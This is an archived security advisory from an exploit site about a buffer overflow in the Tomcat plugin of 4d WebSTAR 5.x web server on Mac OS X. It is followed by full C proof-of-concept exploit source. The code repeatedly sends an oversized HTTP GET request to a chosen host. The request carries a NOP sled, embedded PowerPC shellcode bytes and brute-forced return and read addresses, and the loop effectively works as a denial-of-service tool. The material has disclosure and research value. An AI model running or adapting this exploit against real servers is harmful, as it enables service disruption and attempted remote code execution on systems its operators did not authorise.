exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

4dWebstar.txt

4dWebstar.txt
Posted Aug 7, 2005
Authored by Braden Thomas

4d WebSTAR version 5.x on Mac OS X suffers from a buffer overflow. Proof of concept exploit included.

tags | exploit, overflow, proof of concept
systems | apple, osx
SHA-256 | 63c9bfd5a9c020f28251e55dc45da0b77623449ac1c7746221321a2fbf0234ad

4dWebstar.txt

Change Mirror Download
4d WebSTAR 5.x Mac OS X Buffer Overflow
Author: Braden Thomas
Vendor: http://www.4d.com
Product: 4d WebSTAR 5.33 and 5.4 Web Server on Mac OS X
*only trial version tested
Risk: Medium, remote root (unlikely), DoS (likely)
PoC Exploit code included


Description:
4d WebSTAR 5.x (5.33 and 5.4 tested) contains a buffer overflow
in the Web Server Tomcat plugin. The plugin is included and active
in a default installation of 4d WebSTAR. The overflow exists within
the URL. This overflow can be used for DoS easily, but because 4d
WebSTAR restarts the server process when it crashes, the attacker has
to send a malicious packet about every half second for effective DoS.
The overflow can also theoretically be used for remote code
execution, but as far as I can tell, the exploit is very improbable.

Details of the exploit:

The buffer is copied byte-by-byte starting from the beginning of the
buffer until a NULL (or a couple other terminating) byte is reached.
However, the pointer that points to the beginning of the buffer
exists just at the edge of the buffer. Therefore, you will
immediately overflow this pointer after going over the buffer. Since
you will overflow this pointer MSB-first, the chance is high (if you
aren't careful), that you'll direct the pointer into memory that
either isn't readable, or contains a NULL-pointer, at which point
your overflow will terminate. My exploit runs in a loop and
continues ad infinitum if the server doesn't crash.

Although the buffer moves around in memory, the pointer is static in
reference to the beginning of the buffer. So if you guess the
average value for the buffer and put it where the pointer will be
overflowed, you'll get a decent chance of actually successfully
overflowing a valid pointer that actually points within the buffer
(or maybe another copy of the buffer in memory). In my code this is
defined as BUFADDR, or below as readaddr.

Buffer:
[nops][shellcode][ret addrs][readaddr][more ret addrs]

Once you continue the overflow past the read address pointer, it's
sort of a mystery where in the buffer you will be reading from.
Basically about half of the buffer overflowed consists of return
addresses. If you thought getting the read address right was tough,
the return address is even harder. You can actually fill the link
register with this address with a fair accuracy. This address
*should* return execution back to your buffer to run the shellcode,
but will often crash with EXC_BAD_INSTRUCTION somewhere else. Note
that in the example exploit, the shellcode buffer has been set to all
A's for testing. Once you get the link register filled (which
happens about 10% of successful overflows), the chance that you
actually hit the shellcode is quite small. In fact, I've only seen
it happen once or twice. Good luck. :)

Vendor notified:
March 31, 2005

Fix:
Disable Tomcat plugin


-Braden


Code:

/* 4d buffer overflow
Braden Thomas

the buffer is copied byte by byte starting from the beginning of
the buffer
until a NULL byte is reached (or a couple other types of bytes)
the buffer is copied from a pointer that resides past the end of
the buffer
the buffer can overflow over this pointer, allowing the program
to read bytes to wherever it wants

-the exploit must restore this pointer or risk reading from null
memory, terminating overflow
-the pointer is different each time, though it's location in
relation to the buffer is static (buffer+1285)
-the pointer is overwritten byte by byte, meaning that one wrong
byte, and we're reading from
somewhere else... which can be potentially bad in terms
of exploitation

method:
-exploit attempts to: overwrite the pointer so that the memory
will continue to be overflowed
(i.e., do not point into any memory that contains a null byte)
-exploit attempts to continue overflowing with return addresses,
to overflow where LR is stored
-when loop ends and LR is restored, it will return execution
into the buffer and into shellcode
-some looping has been added, where BUFADDR is enumerated to try
to brute force the overflow
because failed servers are respawned

results:
actually successful in moving the execution pointer about 10
to 25% of the time
unsuccessful in actually jumping to the nops/shellcode :(

problems I don't understand:
occasionally other threads crash in weird places (memcpy and
szone_malloc)...
this might actually be when it works as desired and
doesn't crash... but other threads do crash
before shellcode can do its magic!
(but that's just a hypothesis) :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>

unsigned char shellcode[]= // no 0x00 0x20 0x3f 0x24 0x2f
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x35"
"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x39\x81\xed\xe1\x35"
"\x7d\xef\x72\x78\x91\xed\xe1\x35\x7c\x06\x68\xac\x7c\x01\x04\xac"
"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb"
"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x3b\xe0\x30\xff\x7f\xe0\x4e\x70"
"\x44\xff\xff\x02\x7c\x63\x1a\x79\x7c\x63\x1a\x79\x7c\x63\x1a\x79"
"\x10\x29\x25\xcb\x10\xc9\x25\xc8\x10\xe9\x25\xcf\x10\x49\x25\xa8"
"\x6c\x49\x25\xcb\x54\x49\x27\xb1\x54\x37\x3e\xb1\x60\x49\x25\xc4"
"\x28\x4b\x3e\xf0\x28\x49\x25\xc9\x54\xc1\x27\x6f\x10\xe9\x25\xd9"
"\x10\x49\x25\xa1\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x10\x49\x25\xa3\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\x8a\xd6\xb1\x10\x49\x25\xd7\x10\xc9\x25\xd9\xb8\xc8\xda\x21"
"\x10\xe8\xda\x21\x10\xc8\xda\x39\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x54\x37\x3e\xb1\x10\xe9\x25\xcb\x10\x49\x25\x93\x57\x8a\xd6\xb1"
"\x54\xed\x0e\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1\x10\xec\xda\x36"
"\x04\x4c\xda\x36\x68\xcb\xda\x2c\x10\x49\x25\x8b\x6c\x49\x25\xcb"
"\x54\x49\x27\xb1\x54\xec\x0f\xb0\x68\xcb\xda\x34\x54\x21\x27\x6f"
"\x10\x2a\x25\xe1\xb8\x28\xda\x31\xb8\xe8\xda\x35\x10\xc8\xda\x31"
"\x10\x49\x25\xf2\x54\x49\x21\x65\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\xa9\x25\xc1\x07\x2b\x4c\xa7\x07\x2a\x56\xa1\x28\x49\x25\xc9"
"\x28\x49\x25\xc9";

#define BUFSIZE 1400
long BUFADDR= 0x284fe04;//0x02850204;

int main(int argc, char *argv[])
{
printf("4d WebSTAR buffer overflow\n");
printf("\tBraden Thomas\n");

if (argc<2)
{
printf("4dbo <target>\n");
return 1;
}

struct sockaddr_in their_addr;
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(80);
inet_aton(argv[1], &(their_addr.sin_addr));
memset(&(their_addr.sin_zero), '\0', 8);


int count=0;
while (1)
{

char buffer[BUFSIZE];

// [nops][shellcode][ret addrs][readaddr][more ret addrs]

memset(buffer,0x60,sizeof(buffer)); // nops first

int shellcodeLen = sizeof(shellcode)-1;
memset(shellcode,'A',shellcodeLen); // just
for testing!

memcpy(buffer+400+5,shellcode,shellcodeLen); // next
shellcode


unsigned long retaddr = BUFADDR + 0x1600; // as if it
matters... this never works!
unsigned long *bufPtr = (unsigned long*)(buffer+400
+shellcodeLen+5); // now for ret addrs
int bufCnt;
for (bufCnt=400+shellcodeLen;bufCnt<BUFSIZE;bufCnt+=4)
{
memcpy(bufPtr,&retaddr,4);
bufPtr++;
}

unsigned long readaddr = BUFADDR; // now ptr read
address
// just a
guess... works pretty well tho
memcpy(buffer+1285,&readaddr,4);

memcpy(buffer,"GET /",5);
char httpStr[]=" HTTP/1.1\r\n\r\n";
memcpy(buffer+BUFSIZE-sizeof(httpStr),httpStr,sizeof(httpStr));

if (!count)
printf("\nRead addr: 0x%x\nReturn addr: 0x%x
\n",readaddr,retaddr);


int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof
(struct sockaddr)) == -1)
{
printf("connect error\n");
return 1;
}
if (send(sockfd, buffer, sizeof(buffer)-1, 0) == -1)
{
printf("send error\n");
return 1;
}

struct timeval time;
fd_set mySet;
FD_ZERO(&mySet);
FD_SET(sockfd, &mySet);
time.tv_sec = 40;
time.tv_usec = 0;
if (!select(sockfd+1, &mySet, NULL, NULL, &time))
{
printf("\nNo response received.\n");
break;
}
else
{
char resBuff[64];
int readRes = recv(sockfd, resBuff, sizeof(resBuff), 0);
if (!readRes)
{
printf("\nZero length response.\n");
}
else if (!(count%21))
printf("\nResponse length: %d", readRes);
else
printf(".");

count++;

if (count>=100)
{
count=0;
BUFADDR+=0x200;
if (BUFADDR>0x285c000)
BUFADDR=0x284f204;
}

}

close(sockfd);
}
return 0;
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close